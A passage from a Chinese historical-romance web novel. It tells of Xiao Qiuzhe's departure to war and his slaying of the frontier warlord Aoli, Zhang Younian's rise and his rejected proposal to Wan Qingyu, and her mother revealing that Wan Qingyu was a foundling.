他轻轻翻身,望着她,她近来心中承受了太多压力,想必也是疲惫不堪。她的手仍紧紧握着他的,暖日里,她的指尖却有些发凉。 他微动了下身,想要下床,不料她睡得极浅,在感受到动静后便睁开了眼。 她迷迷糊糊地转头望了一眼窗外,天色已然暗了下来,轻声问:“你现在就要进宫了吗?” 萧秋折起身下床,睡了这一觉,身子舒坦了许多。他一边穿鞋,一边回道:“对,我得回去清点兵将,明日一早便要出发。明日你不必去城门送我了,兵将众多,事务繁杂,我怕你不安全。” 听闻此言,晚青妤眼眶微微泛红了。他这一走,不知何时才能再见。她站起身来,抱住他,脸颊贴在他胸口上,满是不舍。 他揉了揉她的脑袋,温声安慰:“别担心,或许一月两月便能归来。你在家要好好吃饭,好好歇息,等我回来时,希望见到一个活蹦乱跳、水灵灵的晚青妤。” 晚青妤强忍泪水,点了点头。 两人一同出了房间。刚出房门,萧秋折便看见张攸年正站在不远处的一棵树下,望着这边,也不知已在那里站了多久。 萧秋折与外祖母道了别,准备把晚青妤送回家,二人正欲往院外走,张攸年却跟了上来,在身后唤了一声:“萧大人。” 二人停下脚步,萧秋折转过身,看向他。 张攸年走到二人跟前,沉声道:“今日听闻萧大人即将前往边关征战,边关险恶,望萧大人保重,早日凯旋归来。” 萧秋折眉头微压,与他对视一眼,道:“多谢你的祝福,我定会平安归来。对了,大理寺有一桩案子颇为复杂,已追查许久,如今有了进展。我走后,恐无人能接手,你可愿前去?接手后,我会调派一些人手随你前往福州查案。” 福州离京城千里之遥,萧秋折此举,显然是想将他支开,远离京城。 张攸年轻笑一声:“多谢萧大人提拔,只是眼下言书堂的案子尚未了结,我的嫌疑也未洗清,恐怕难以胜任。 萧秋折又看他一眼,未再多言,牵着晚青妤的手出了乔家大院。 他将晚青妤送回晚府,顺道探望了二哥,随后与晚青妤在门前道别。两人站在月色下,手牵着手,依依不舍。然而时辰已至,军务耽搁不得,萧秋折翻身上马,扬鞭而去。 晚青妤站在院门外,目送他的身影渐行渐远,直至消失在路口,仍久久不愿离去。她在路口伫立良久,才缓缓转身回了院子。这一夜,她心情沉重,辗转反侧,难以入眠。 次日一早,她便去问方于:“萧秋折出征了吗?” “已经走了,天未亮便出发了。此次皇上派了不少兵将,相信很快便能平定边关。” 晚青妤心中虽忧,却也无能为力,只能默默祈祷他平安归来。 她去看望了二哥,随后又去了外祖母那里。陪外祖母说了会儿话,又帮着煎药、喂饭,整日忙碌不停。她只觉得,唯有让自己忙起来,才能暂时忘却萧秋折出征的事。 如此一日匆匆而过,到了夜晚,她回到晚府,躺在床上却依旧辗转难眠。这一日对她而言,仿佛度日如年。 接下来的几日,她来来回回奔波于外祖母家中,悉心照料。然而,外祖母的身体始终不见好转,中间甚至多次请了大夫前来救治。 这日,四弟突然回来了,且是与张攸年一同归来。 晚青妤激动地问四弟:“这段时间你去了哪里?为何一直没有消息?” 四弟脸色苍白,低声回道:“我原本随付大人前去办差,不料途中遭遇劫匪。在打斗中,我与付大人走散了,随后被人捆绑关在了一间屋子里。幸亏攸年大哥派人找到了我,我这才得以脱险。” 晚青妤有些惊讶,转头看向张攸年。张攸年道:“这段时间我一直在寻找四弟的下落。根据付家人的踪迹,我一点点摸索到了他失踪的地方,这才将他救了出来。” 原来如此,晚青妤甚是感激,忙道:“多谢你救了我四弟,这份恩情,我们会铭记于心。” 这一次,她是真心实意地感激他。张攸年却只是淡淡一笑,语气温和地道:“无妨,这本就是我应当做的。四弟此番遭遇颇为凶险,不妨将此事上报皇上,请求彻查。至于付家那边,想必皇上知晓后,也会让四弟暂且歇息一段时日,不必再回去当差。” 晚青妤连连点头,又郑重地向张攸年道谢。 约莫过了两日,宫中忽然来人,一位公公手持圣旨,对晚青禾笑吟吟地道:“恭喜晚公子,言书堂一案已然查明,您已洗脱嫌疑。皇上念及你身上有伤,允您在家中休养,暂且不必返回朝堂。不过,您多年来尽心尽职,为国效力,皇上特赐您一些财物,望您收下。” 言书堂一案错综复杂,竟就这样解决了? 晚青禾急忙问道:“公公可知,此案是谁查明的?” 公公微微一笑,回道:“是您的好友张攸年张公子。他抓到了言书堂昔日的叛徒,将其交给皇上。那人已招供,说火是他放的,意图栽赃于您。至于幕后主使,他尚未供出,不过皇上定会彻查到底。您与张公子都已洗脱嫌疑,此事多亏了张公子出力,为皇家铲除了余孽。张公子德才兼备,实乃国之栋梁,皇上正打算为他封官加爵呢。” 果然是有人栽赃陷害,只是没想到,此案竟是张攸年一手解决的。 晚青禾连忙向公公道谢,又命管家恭恭敬敬地将公公送出府门。 晚青妤得知此事后,亦是激动不已。言书堂一案总算尘埃落定,二哥彻底洗清了嫌疑,日后便可安心养伤了。 晚青禾唤来四弟,对他说道:“你快去请张攸年过来,我定要好生感谢他一番。先前我还因一些小事对他心存疑虑,实在不该。张攸年自幼随我们一起长大,又在言书堂跟了我这么久,我本该了解他,也该信任他。” 或许,大家对张攸年的成见,只是因为他出身贫寒,又是乔家的下人,加之他性情寡言,心思深沉,才让人心生疑虑。 但细细想来,世上哪有那么多恶人?或许能助你一臂之力的,正是你曾看不入眼的人。 这便是人心中的成见作祟。 张攸年因言书堂一案立下大功,皇上亲封他为吏部侍郎,留他在吏部当值。且还在京城赏了他一座府邸,另赐财物无数。 一时间,张攸年从一个无名之辈,一跃成为正三品官员。 这日,晚青妤前往乔家大院看望外祖母。到了傍晚,她正准备回晚府时,恰逢张攸年下朝归来。 他刚踏入院子,便瞧见了她,轻声唤道:“晚青妤。” 这几日他刚升官,事务繁忙,晚青妤一直未曾见到他,也未有机会当面道谢。此刻见他唤自己,她便走上前去,应了一声。 张攸年身着一身官服,整个人气质与以往大不相同。他虽不及萧秋折那般俊逸非凡,也不似付钰书温润如玉,但他身上总有一种独特的清冷阴翳气质。此刻穿上这身朝服,更添了几分威严,若不开口,倒真让人心生几分畏惧。 他与萧秋折高矮相同,但比萧秋折更为壮实,此刻站在她面前,低头凝视着她,强烈的压迫感,让她挺紧张的。 她垂下头来,开口本想唤他“张攸年”,忽而想起他如今身份已不同往日,便改口道:“张大人,多谢你救了我四弟,又帮我二哥脱离了险境。实在感激不尽。” 张攸年轻笑一声,声音低沉,但语气温和:“谢什么,我之前就说过,一家人不必言谢。” 一家人。 晚青妤虽对他心怀感激,但一想起他看自己的眼神,便有些紧张,一时不知该说什么。 过了片刻,张攸年又道:“皇上赐了一座府邸,但我并未打算搬过去住。我在乔家大院住惯了,想一直留在这里陪着外祖母。皇上也知我与父亲对乔家感情深厚,家中又有老人,便也应允了。” 听闻这话,晚青妤抬头看他。微弱的灯光下,他正深深望着自己。她又低下头,道:“你如今身份不同,没必要再迁就于此。张伯伯在乔家劳碌了一生,也该好好享受晚年了。” 她想让他们搬出乔家大院。 张攸年听出了她的意思,但只是轻笑:“你说的这些我都明白,但有些东西不是轻易就能割舍的。我相信父亲也会挂念外祖母,她如今病体未愈,等过些时日再说吧。” 晚青妤没做声。 “晚青妤。”张攸年走近她,望着她那双从儿时就深深刻在心里的眼睛。 他默了片刻,低声道:“以我的样貌和如今的身份,做你的入幕之宾,应该可以了吧?” 入……入幕之宾? 晚青妤一时未反应过来,这是要做她情人的意思?做她的,男……男宠? 张攸年见她满脸震惊,一双眼睛微微闪动,想是也有些紧张,他动了动唇,又道:“我不在意你和萧秋折的感情,我也不要名分,我只想和你在一起。” “晚青妤,我从少时便喜欢你。” “我出身卑微,从前不敢接近你,现在……应该可以了吧?” 应该可以守在她身边了吧! 每个人都有追求爱情的权利,他也一样。 第55章 第55章萧秋折 张攸年此言一出,晚青妤整个人都怔住了。她万万没想到,这番话竟会从一个七尺男儿口中说出,尤其还是在他刚刚封官加爵、春风得意之时。 从前,她只当张攸年是个胆小懦弱之人,毕竟他出身寒微,家中世代为平民,母亲更是他父亲花钱买来的。 他幼时家中贫苦,母亲病重,父亲无钱医治,只得带着他们母子二人,从洛州一路逃荒至京城,投靠亲戚。谁知那亲戚因赌博败光了家产,无力接济他们。 张攸年的母亲未能及时得到医治,最终在大雪中离世。年幼的张攸年只得随父亲在京城四处漂泊,幸而被晚青妤的外祖父瞧见,将他们接入乔家大院,并给张攸年的父亲安排了一份差事。 张攸年的父亲为人老实勤恳,在乔家大院做事尽心尽力,渐渐将张攸年拉扯长大。 但张攸年的身份终究与旁人不同。 彼时,晚青妤的父亲已是太保大人,名震京城,她自幼锦衣玉食,身份尊贵无比。 而付钰书家中世代书香,亦是京城中数一数二的贵公子。 晚青妤的兄弟们,乃至那些表亲,无一不是身份显赫之人。 张攸年便是在这群人中长大,眼见他们身着绫罗绸缎,享用珍馐美味,而自己身为乔家大院的下人,只能穿粗布麻衣,吃寻常饭菜。 父亲节俭度日,一心想着攒钱为他日后娶妻置业,以及供他读书,期望有朝一日他能出人头地。因此,当初张攸年连几枚零花钱都没有,即便是晚青妤哭闹着要吃甜品时,他也掏不出一份酥酪的钱。 要说他心中没有羡慕与嫉妒,那是不可能的。他自幼便清楚自己的身份与处境,明白自己将来会过怎样的生活。因此,他格外珍惜每一个学习的机会,刻苦用功,从不敢奢望那些本不属于自己的东西。 他用了十余载光阴,方走到今日这一步。而这一步,并非一步登天,不过是身份上多了一层加持,令他显得光鲜了些,与那些曾经高不可攀之人,似乎有了平起平坐的资格。 然而,他心中自有分寸,即便如今做了官,也绝不会因这微末的身份去强求那心心念念之人。更何况,他深知晚青妤与萧秋折之间的关系。 两年前,他亲眼目睹了晚青妤、付钰书与萧秋折三人之间的纠葛,最终三人皆陷于痛苦之中,谁也未得偿所愿。 就连晚青妤与付钰书曾经的那份美好,也破碎殆尽。 他是从这些情爱纷争中走过来的,深知直到如今,这些情感依旧如乱麻般纠缠不清。 他明白,喜欢一个人,并非霸道索取便能得到。毕竟,如付钰书那般优秀且执着之人,尚且未能得偿所愿,更何况他这般身份卑微之人,又岂能轻易如愿? 对方还是京城之中,赫赫有名且流着皇家血脉的萧秋折。 即便强求得来,若得不到心,又有何意义?譬如萧秋折,两年前虽得了人,可这两年来,他可曾得到过晚青妤的心?若真得了人又得了心,晚青妤又怎会在山中独居两年? 所以,只要最终能有结果,过程如何,倒也无所谓。 找准自己的位置,努力争取便是,或许上天垂怜,真能得偿所愿也未可知。 张攸年素来是个清醒且聪慧之人,深知此时该说什么、该做什么。他早料到晚青妤会有这般反应。 四周一片寂静,唯有春日里的风声轻轻拂过。晚青妤仍用那惊诧的目光望着他,半晌才低声道:“你……是在说笑吧?天色已晚,我该回府了。” 张攸年却抬手拦下她:“我还有话要说。” 晚青妤知晓他的话尚未说完,可她不愿再听,一丝一毫也不愿。她转过身来,神色郑重地对他道:“我不清楚你是否在说笑,但这样的话,往后莫要再提了。你如今身份不同,日后前程似锦,自会受人敬重。寻个门当户对的姑娘,生儿育女,在京城立足,行善积德,为百姓谋福,将来必成一代英杰。” “张攸年,我们是一同长大的。这些年,我知你如何走来。其实,我们从未将你视作乔家大院的下人。在我们眼中,你便是一个完完整整的人。你有过美好的童年,也有过坎坷的经历。你饱读诗书,吃苦耐劳,为人本分。人生来本是平等,除却身份加持,并无不同。一切的一切,皆需靠自己的努力去换取。” “我虽无法体会你过去的生活,但你日后却能完全体会我们曾经的日子。正所谓‘人往高处走,水往低处流’,哪有如你这般说笑的?即便以你如今的身份,也该寻个官宦家的小姐。你本就是个优秀之人,日后娶妻生子,待她好一些,夫妻和睦,日子自然美满幸福。有些事已然乱作一团,聪明人该避之不及,哪有往里跳的道理?” 这便是晚青妤,无论何时都清醒自持,从不咄咄逼人,言语间亦无半分轻蔑。 她身上的那份从容与温婉,是旁人难以企及的,亦是天生自带的光华。正因如此,她才如此令人倾心。 这份美好,他在角落里默默注视了十余年,却从未有一刻属于他。如今这番话,她是说给他听的。 他听完,心中五味杂陈,低头轻笑一声,道:“我并非说笑,我清楚自己在说什么。正因不愿给你添麻烦,所以我什么都不要,我不要名分,亦不会娶妻,只愿与你在一起。从前我没有资格说这话,如今……总该有了吧?” 晚霞将要淡尽。 晚青妤抬眸望向他,眉头微蹙,神色认真:“你说出这番话,便已是给我添了极大的麻烦。你该明白,这般形式的在一起,只会害人害己。天色已晚,我先回去了。这两日,你与张伯伯便搬出乔家大院吧。外祖母这里,我会好生照料,往后……便不劳烦张大人了。” 晚青妤那一声“张大人”唤得极是生疏,语气里还隐隐透着几分不悦。 张攸年听完这话,倒也未动怒,她这般反应全然在他意料之中。他默然片刻,低声道:“搬出去的事,回头我自会与外祖母商议。天色已晚,可要我送你?” 他依旧温声询问,仿佛方才的对话未曾发生过一般。 晚青妤心中烦闷,一时也 不愿与他多言,只道:“不必了,有方于跟着。” 她头也不回地离开了。 张攸年站在原地,目送她的背影渐行渐远,直至消失在院门外。他久久未动,仿佛时间凝滞,唯有风拂过衣袂,带起一丝凉意。 明月悄然爬上枝头,张攸年抬头望了望那清冷的月光,缓步走到院中那棵大树下。 此树粗壮高大,枝叶繁茂,是他儿时与几个玩伴一同种下的。他很爱惜这棵树,日日浇水打理,如今树已亭亭如盖,枝叶繁茂,恰似他们几人,渐渐长大。 只是树依旧在原地,枝叶未曾分离,而他们这些人,却早已各奔东西。 记得那时,晚青妤坐在这棵树下,因想吃酥酪与蜜糖而哭泣。他便坐在这里哄她,心中却苦涩难言,因他连一文钱也掏不出,无法为她买来那份甜食。 那件事他记了许多年,也让他明白,一个人若无能力,无金钱,无地位,便连心爱之人想要的一份吃食也无法满足。 自那时起,他便立誓,无论如何,他都要一步一步往上走,登上那高高的山顶,俯瞰这世间一切。 —— 萧秋折已出征数日。他们从京城赶往边关,带着浩浩荡荡的军队,需几日路程方能抵达。 边关战事已持续多年,战火连绵不断。其中有一霸主,名为獒利,身材魁梧,勇猛无比,武功高强,力大无穷,有以一敌百之能。这些年,边关将士皆闻其名而色变,战事也因此愈发艰难。 正因有獒利这般人物,边关多年难以收复。皇家派了一波又一波的将士前去镇压,却始终未能将其彻底铲除。 獒利的势力愈发壮大,不仅圈占了周遭大片土地与百姓,更怀有攻打中原的野心。此人若不除,必将成为国家的心腹大患。 七年前,獒利的势力初起时,皇上曾派萧秋折前去镇压。那时,他不过十几岁的年纪,毫无征战沙场的经验,皇上此举无异于将他送入虎口。 果然,那一战中,他受尽折磨,险些丧命,而对他出手最为凶残的,正是这位霸主獒利。 当年他年少无知,毫无经验,皇上又有意陷害,命他直冲前锋,最终落得那般凄惨下场。 如今再回到这片土地,他心中既有恨意,又有激动。 军队将要抵达边关之时,他将大军分为两支,一支继续前往边关,另一支,则绕道去了他事先安排好的谷地。 抵达边关前夜,他与方奇在军队夜间驻扎休息时,悄然离队,直奔边关。 二人一番乔装打扮,找到边关城门前接应之人,顺利混入了獒利的军营。 这附近已有兵将做好准备,显然已知晓他们的军队正往此处赶来。若按行程计算,大军抵达还需一日,而萧秋折与方奇却早已提前赶到。 七年光阴里,萧秋折一直在此处暗中部署,几乎将周遭地形烂熟于心,甚至连獒利军营中有多少人、他们的生活习性、每个人的身手如何,乃至獒利每日的行程,他都莫得一清二楚。 七年的时间,足够他将一切安排妥当。这周围早已布下了他的人手,只待时机成熟,便可一举而动。 此处有一人,名为严贺,乃是萧秋折当年暗中安插于此的耳目,专司打探獒利的消息。 他将方奇与萧秋折接应至一处隐秘地道,低声道:“獒利早已料到你们会率军攻打过来。这些年战事虽未停歇,但若直接正面交锋,恐难轻易取胜。他近来不断扩充势力,麾下兵将亦训练有素,实力不容小觑。” 地道内昏暗幽深,萧秋折甫一踏入,便觉一股寒意自脚底直窜而上,头皮发麻,汗毛倒竖。 这里的味道,他再熟悉不过。当年,他曾被囚禁于此,整整半年,不见天日。那半年的光阴,如同地狱般漫长,每一寸空气都浸透着绝望与痛苦。如今重回故地,往事涌上心头,令他心神俱震。 这地道的每一处角落,他都了然于胸。当年他离开后,便暗中安排人手混入此地,开始挖掘地道。 他将这地道一直挖到獒利的居所,将这片地下挖得四通八达,为日后做准备。 整整七年,他布下的这些人忠心耿耿,隐忍蛰伏,为他筹谋了七年之久。如今,他终于等到了这一天。 或许是地道太过阴冷,又或许是这熟悉的环境刺激了他的心神,他忽然感到背部一阵灼热,随即传来隐隐的疼痛。 他皱了皱眉,强压下那股熟悉的痛楚,跟着严贺继续向前走去。严贺低声道:“今日獒利饮了些酒,若是此时动手,比平日容易些。只是这地道狭窄,仅容一人通过,唯有一个人能潜入獒利的内房。其余人只能在此处接应,一旦被发现,便是死路一条。” 方奇听闻只能一人进去,立刻握紧了手中的剑,沉声道:“让我进去,我去取獒利的性命。” 萧秋折忙道:“此事交给我来解决,我有把握杀他。” “不可。”方奇急道,“你虽武艺高强,但脖颈与手臂皆有旧伤,且獒身强力壮,一人可抵我们两人,你怎能应付得来?” 黑暗中,众人看不清彼此的神色。萧秋折瞥了方奇一眼,语气平静却不容置疑:“你觉得我不能,你便能?莫要多言,在此候着便是。” 擒贼先擒王,他的首要目标便是取了獒利的性命。只要霸主一死,剩下的兵将便如无头之蛇,再行进攻便容易得多。更何况,这些年他早已在周围布下无数杀手,只待有朝一日,一举歼灭此地。 他说完,不等方奇回话,便径直向前走去。方奇深知他性子固执,却仍忍不住忧心忡忡道:“此事太过凶险,还是让我来吧!” 萧秋折:“这等关键时候,岂能让身边的人替我涉险?你还有更重要的事要做。” 说完他握紧手中的暗器,快步向前。他很快走到地道口,依照严贺的指示,悄然钻了进去。 这一去,非生即死。 方奇站在原地,手心沁满冷汗,心中忐忑难安。 萧秋折钻出暗道,来到獒利卧房的书柜旁,轻身一跃,隐于屏风之后。 一进房内,浓重的酒气扑面而来,显然獒利确实饮了不少酒。 他握紧手中的暗器,先朝房门试探性地掷出一枚,只听“砰”的一声,暗器钉在房门上。 此时,正卧在榻上的獒利闻声惊起,抓起一旁的大刀,穿上鞋子便朝门外走去。 就在这一瞬,萧秋折从屏风后跃出,手中一根钢丝缠上獒利的脖颈,猛然勒紧。 獒利感受到颈间的剧痛,连连后退几步,随即一个翻身,反手抓住萧秋折的胳膊。萧秋折疼得眉头紧锁,却仍死死勒住他的脖子,不肯松手。 獒利身高体壮,力大无穷,大刀一挥,直刺萧秋折的腿。萧秋折吃痛,连连后退数步,但手中的钢丝却依旧紧紧勒着,不肯有半分松懈。 獒利猛然一声低吼,手臂如铁钳般抓住萧秋折的衣襟,狠狠一甩,将他甩到一旁。 萧秋折手中的钢丝随之掉落在地。 獒利挥起大刀,转身看清萧秋折的面容,眉头紧锁,似有几分惊疑。萧秋折却不等他开口,迅速从腰间抽出一把软剑,直刺他的咽喉。 萧秋折一手持剑,一手紧握暗器,步步紧逼,獒利被他逼得连连后退,撞在一旁的桌案上,只听“咣当”一声,桌上的瓷器纷纷坠地,碎成一片。 萧秋折跨步上前刺去,獒利力大无穷,挥刀一挡,硬生生将萧秋折逼退数步。 打斗间,獒利似乎认出了他,眸光一凛,似要开口,却被他一剑刺中手臂,鲜血顿时涌出。 此时,门外守卫听到动静,纷纷持剑冲了进来,紧接着便是一场激烈的厮杀。 地道中,方奇听到打斗声,心急如焚,欲冲上去救援,却被严贺一把拉住。严贺低声道:“此时万万不可上去,若我们暴露,这七年的谋划便前功尽弃。你要相信他,相信他能撑得住。只要拖住獒利,待 我们的杀手潜伏进来,就有胜算了。” 方奇焦急道:“他一人对付獒利已是艰难,若再加上那些守卫,他如何扛得住?” 严贺也很担心:“我曾与萧秋折一同在此熬过那半年,深知他是什么样的人。他意志坚韧,极能忍耐。当年那烧红的铁水落在他身上,他都能咬牙挺住,何况如今?我相信,即便他不能立时杀了獒利,也定能撑到我们行动之时。” 此时的萧秋折已是力不从心。边关之人个个身强体壮,身手了得,他能以一己之力抵挡半炷香的时间,已属不易。 那獒利得了帮手,酒醒之后精神大振,出手愈发狠辣凌厉,招式又快又猛,打得萧秋折几乎招架不住。 萧秋折唯一的优势便是剑法精湛,然而这般硬碰硬的对决,对他并无半分好处。可此时,他已别无选择,只能咬牙硬撑。他必须拖住更多时间,或是直接取了獒利的性命。 只要獒利一死,这场战争的胜算便大了许多,其余的二帮主、三帮主也就不足为惧。 或许是因为对这里的恨意太深太重,萧秋折出手时招招致命,毫不留情。每一剑都又快又狠,直逼獒利的要害。 鲜血早已洒满房间。萧秋折身上的衣衫早已破烂不堪,腿上、手臂上多处伤口鲜血淋漓,但他已感觉不到疼痛,唯有心中那股执念支撑着他。 无论如何,他都要杀了这獒利。只有攻下边关,他曾经的痛苦回忆才能画上句号,他与晚青妤的将来才能有光明可言。 如此激战了大半个时辰,獒利显然低估了萧秋折的能力与耐力。这一场厮杀下来,獒利竟未占到半分便宜,反倒被逼得节节败退。 战况愈演愈烈,獒利猛然一把抓住萧秋折,从身后勒住他的脖颈。那粗壮的手臂如铁箍般紧紧箍住,萧秋折被勒得连连后退,几乎喘不过气来,心口一阵剧痛,呼吸愈发微弱。 此时身上的伤口也鲜血直流,周围的守卫见他被制住,趁机一剑刺向他的腰间。 这一剑下去,几乎要了萧秋折的半条命。 他的脸色愈发涨红,呼吸渐渐困难,就在周围的守卫再次举剑刺向他胸口之际,他猛然一脚踢开那柄剑,随即从袖中掏出一把匕首,以极快的速度,狠狠插入了獒利的左脸。 这一刀力道极重,直接穿透了獒利的半张脸。 獒利瞪大了双眼,手上的力道骤然一松,萧秋折趁机一个翻身,又从怀中掏出一把暗器,狠狠刺入他的脖颈,顿时,獒利脖颈上的动脉被划开一道极深的口子,鲜血如泉涌般喷溅而出。 獒利踉跄着后退,最终跌倒在地。他伸手捂住脖子,然而鲜血依旧止不住地往外涌。 他张了张嘴,却发不出一丝声音。周围的守卫见霸主倒下,先是愣了一瞬,随即纷纷涌上前,欲取萧秋折性命。 此时萧秋折虽身受重伤,却仍不肯罢休。他拼尽最后一丝力气,甩出一把飞镖,直插獒利的左胸口。这一击彻底断绝了獒利的生机,再无生还可能。 周围的守卫见霸主彻底咽气,眼中满是惊骇。这个浑身是血的男人,竟真的将霸主杀了? 萧秋折脸上、脖颈、身上皆是鲜血,腰间还有一道狰狞的伤口,血液汩汩外涌。 他的左臂早已无力垂下,伤口深可见骨,露出大片血肉。也不知是什么力量支撑着他,即便脑袋昏沉,满眼却依旧杀气凛然。 他咬着牙,冷冷扫视了一圈周围的守卫,那种逼人的压迫感竟令众人不敢轻易上前。 他右手握剑抵地,弯着身子捂住伤口,缓了口气,然后抬手抹去唇边的鲜血,冷声道:“你们的霸主已死,若现在投降,或许还能留得一命。否则,你们今日全都要葬身于此。” 他的声音冰冷凌厉,令人颤栗。 獒利身下早已血流成河,鲜血一路流淌到萧秋折的脚下。 外头又涌进一拨人,屋中人数越来越多,将他团团围住。 返回地道是不行了,眼下,他唯一的出路便是从正门杀出去。 他握紧手中的剑,瞥了一眼倒在地上的獒利,心中甚是爽快。 “来吧,今日我便杀个痛快!” 地道里的方奇与严贺,忽闻口哨声,顿时一阵激动。口哨声昭示着萧秋折已成功斩杀獒利。 按照计划,他们迅速出了地道,召集潜伏进来的杀手,开始军营之中放火。 黑夜中,风沙漫天,火光冲天而起,映红了半边天际。 与此同时,萧秋折已是杀红了眼,浑身上下全是鲜血,无一处完好。 他杀完最后一人,割下獒利的脑袋,提着血淋淋的头颅,冲出军营,跃上快马,直奔军队而去。 到了军队之中,军医迅速为他包扎伤口,他未及喘息,便换上盔甲,再度跨上高头大马,带领军队快速奔至城门。 边关的风,凛冽如刀,卷起漫天黄沙,遮天蔽日。 萧秋折身披玄铁重甲,甲胄上寒光凛凛,映得他的面容更为冷峻。他举起手中长剑,身后,万千铁骑肃然列阵,旌旗猎猎。 他一声令下:“杀。” 战鼓震天,边关的风,依旧凛冽,数年无法撼动的边关城门,再也挡不住萧秋折所带领的玄甲铁骑。 这一战,必须胜。 —— 晚青妤心中始终牵挂着边关的战事,屡次遣方于前去打探消息。方于回禀道,边关之地战火连年,霸主英勇无敌,欲一举拿下整个边关,非半年之功不可。如今萧秋折刚至边关,双方可能尚未交锋,暂且不必过于忧心。然而,对晚青妤而言,这等待的日子,犹如度日如年。 这日,母亲自姨母家归来,护送之人正是萧秋折派去的接应者。母亲言及在姨母家照料期间,常觉有人暗中尾随,幸得萧秋折派人接应,方能平安归来。 母亲方知家中变故,一时难以承受,望着二哥那般模样,哭肿了眼睛。晚青妤在母亲身旁温言安慰,又携她前往探望外祖母。 约莫**日后,晚青妤见母亲情绪渐稳,便寻了个时间,将母亲带入房中。 她自箱中取出玉佩,母亲见后,惊诧不已,问道:“这玉佩你不是早已遗失了吗?” 晚青妤凝视玉佩上的纹路,轻声道:“未曾丢失,是我一直瞒着你们。” 她从未想过要将此事告知家人,亦不愿揭开自己身份,因为她想留在晚家。 可如今面对她与萧秋折的婚姻,她又不得不把事情弄清楚。 她压下心中苦涩,轻声道:“娘,我早知自己并非晚家血脉,只是不知亲生父母究竟是谁。” “您能否告诉我?这对我而言,至关重要。” 第56章 第56章好想好想让你抱抱啊!…… 晚青妤的母亲乔言,虽已年过四旬,却依旧端庄娴雅。她出身官宦人家,自幼饱读诗书,举手投足间皆是大家风范。 乔言一生育有四个儿女,个个出类拔萃。她的思想与寻常女子不同,独立而坚韧,正因如此,才培养出晚青妤这样的女孩儿。 当初,乔言先得了两个儿子,后来才得了晚青妤这个女儿。全家上下皆视她为珍宝。然而,如今这女儿却来说自己并非亲生。 房间里安静了片刻,乔言的目光落在晚青妤手中的玉佩上,眉头微蹙,随即抬眼看向眼前神色焦急、面容憔悴的女儿。 她伸手轻抚晚青妤的脸颊,温声道:“孩子,莫要胡思乱想。这些话你是从何处听来的?当不得真。你是我与你父亲所生,怎会是旁人的孩子?” 母亲虽是这么说,但是她从母亲眼中捕捉到一丝闪躲。她握住母亲的手,压下心中的酸涩,道:“娘,您不必瞒我。无论我身份如何,您永远是我的亲娘,这里永远是我的家。只是……此事关乎我的婚事,我不得不问个明白。” 她也是内心挣扎了许久才问出口。 乔言惊讶问道:“什么婚事?” “有人对萧秋折说,我与他是血亲。”晚青妤虽不情愿,但还是告诉了母亲,“说我这块玉佩与小皇子的一模一样,怀疑我是当年皇贵妃丢失的女儿。若我真与皇贵妃有关,那萧秋折便是我堂兄,我们便不可以在一起。” 与萧秋折有血亲关系?乔言听闻一时愣住,显然很是惊讶,她拿过那块玉佩,细细端详,神色愈发凝重起来,半晌,她问:“这玉佩……当真与小皇子身上的一模一样?” “对。”晚青妤点头,“娘,此事关乎我的身世,您一定要如实告诉我。这玉佩究竟从何而来?我究竟是捡来的,还是抱养的?我的亲生父母到底是谁?您与父亲瞒了我这么多年,如今希望您能全部告诉我。” 乔言没想到此事会牵扯到萧秋折,她心中复杂,轻叹一声,道:“你既已问起,我也不能再瞒了。” 她紧紧攥住晚青妤的手,说起过往:“十几年前,我与你父亲去乡下探望老人,归途中在路边捡到了你。那时你被放在一个竹篮里,篮中除了这枚玉佩,别无他物。我想着,这玉佩或许是你亲生父母留给你的信物,便一直让你带在身上。可我们并不知你的真实身份,也不知这玉佩的来历。” “后来,我与你父亲曾四处打探,想寻到你的亲生父母,可始终无果。日子久了,我们愈发喜欢你,索性不再寻找,只将你当作亲生女儿抚养。待你再大些时,我们担心你的亲生父母会因这玉佩寻到你,便问你玉佩去了何处。你那时告诉我们,玉佩丢了。我们便也未再追问,就此作罢了。” 母亲一字一句,说得难受。对于一个养育了十几年的母亲而言,揭开这样的真相,无异于心头剜肉。 只是,连母亲都不知亲生父母是谁,着实让晚青妤恐慌,若这枚玉佩真是皇贵妃生前所留,那皇贵妃……或许真是她的亲生母亲。 晚青妤低垂着头,眼眶瞬间红了。她紧紧攥着那块玉佩,一想到远在沙场征战的萧秋折,更加难过。 乔言见此,心中亦是酸楚难忍。她又抓起晚青妤的手,带着几分愧疚道:“妤儿,此事是娘不对,瞒了你这么多年。当年我与你父亲太喜欢你了,不想让你离开,更不愿让你被旁人带走,所以才一直未曾告诉你真相。” “如今你已长大,又牵扯到你的婚事,若你真想寻亲生父母,娘一定会支持你。其实当年,我与你父亲也曾查到一些眉目。只是后来你渐渐长大,我们愈发舍不得你,便不再查下去了。” 晚青妤听闻忙问:“娘,您快说,当年查到了什么?” 乔言回道:“当年在乡下捡到你时,那地方人烟稀少,只有十几户人家,且大多是老人居住。若你是当地的孩子,实在不太可能。我们猜想,你应当是从外地被人带过去的。后来,我与你父亲沿着村子唯一的一条路查下去,发现那条路通往宣州。而宣州,离京城不远。” 她顿了顿,目光落在晚青妤手中的玉佩上,继续道:“这玉佩质地贵重,绝非寻常人家所能拥有。我们当时猜测,你或许是宣州富户的孩子,亦或是京城某位达官贵人的子嗣。后来,我们寻到一个人贩子,从他口中得知,当年确实有几名孩子从京城被带出,其中一个被一名婆子抱走,其余的孩子则被卖到了别处。查到此处时,你父亲本想继续追查,可我却拦住了他。” “那时你已经六七岁了,与我们感情深厚,我实在舍不得让你离开,妤儿,是不是娘太自私了?你可会怪罪娘亲?” 晚青妤望着母亲满是愧疚的神情,眼中溢满了泪光,她哽咽道:“娘,我怎会怪您?是您与父亲含辛茹苦将我拉扯成人,我感激还来不及。我喜欢您,喜欢父亲,喜欢这个家。即便找到了亲生父母,我也不会离开。这一生,我永远是您的女儿。” 她又问:“娘,那当年你们可曾找到那位婆子?” 乔言摇头道:“未曾找到。只听闻那婆子是宣州街上一名颇有名气的接生婆,是当地人。可这么多年过去了,也不知她是否还在人世。” 若那婆子是当地人,又是接生婆,倒也不算难寻。 晚青妤:“娘,此事我会去查明的。但即便查清了,我也不会去认亲。” 其实她也很茫然无措,甚至生出一丝不愿再查的冲动。可此事关乎她与萧秋折的一生,她无法逃避。 萧秋折历经磨难,好不容易走到今日,却从未真正享受过安稳与幸福。若因她的身世之故,让他再度陷入困境,她于心何忍? 母亲见她神色凝重,轻声问道:“妤儿,我听闻你回来已有一段时日了。可是萧秋折将你接回来的?你们二人如今如何了?青桁说他去了边关打仗,那地方凶险万分,皇家竟派他前去。这一去,也不知是生是死……” 